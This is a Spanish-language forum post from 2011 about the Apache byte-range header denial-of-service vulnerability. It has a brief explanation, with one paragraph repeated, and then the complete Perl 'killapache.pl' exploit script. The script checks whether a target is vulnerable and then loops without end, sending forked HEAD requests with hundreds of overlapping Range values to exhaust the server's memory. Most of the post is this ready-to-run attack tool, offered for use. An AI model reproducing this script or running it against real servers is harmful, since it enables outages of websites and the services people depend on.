KillerApache DDOS! (servidores apache vulnerables)
Publicado: 30 Sep 2011, 04:57
Hace poco tiempo apache software fundation anuncion una vulnerabilidad de denial servic's que afecta a TODAS las versiones del servidor web Apache, dejando casi al 64% de los sitios de intenrte vulnerables gracias a esto...
Un error en el codigo de las cabeceras de procesamiento de bytes, perimte a las versiones 2.2.xx quedar off desde un solo equipo que se ejecute el POC.
Este script en perl demuestra perfectamente el peligro que esto representa.Este script envia peticiones GET con rangos de bytes,
que reclaman grandes tamaños de espacio de memoria del sistema.
Un rango de bytes de declaracion permite a un navegador cargar solo algunas partes de un documento por decir algo 400 a 1000 bytes. Y esto se
utiliza generalmente para descargar archivos demasiado grandes.
La mencion multiple de componentes no clasificados en la cabecera puede causar un mal funcionamiento del servidor Apache.
Yeah saludos a todos!
Un error en el codigo de las cabeceras de procesamiento de bytes, perimte a las versiones 2.2.xx quedar off desde un solo equipo que se ejecute el POC.
Este script en perl demuestra perfectamente el peligro que esto representa.Este script envia peticiones GET con rangos de bytes,
que reclaman grandes tamaños de espacio de memoria del sistema.
Un rango de bytes de declaracion permite a un navegador cargar solo algunas partes de un documento por decir algo 400 a 1000 bytes. Y esto se
utiliza generalmente para descargar archivos demasiado grandes.
La mencion multiple de componentes no clasificados en la cabecera puede causar un mal funcionamiento del servidor Apache.
Código: Seleccionar todo
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}
if ($#ARGV < 0) {
usage;
exit;
}
if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}
$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}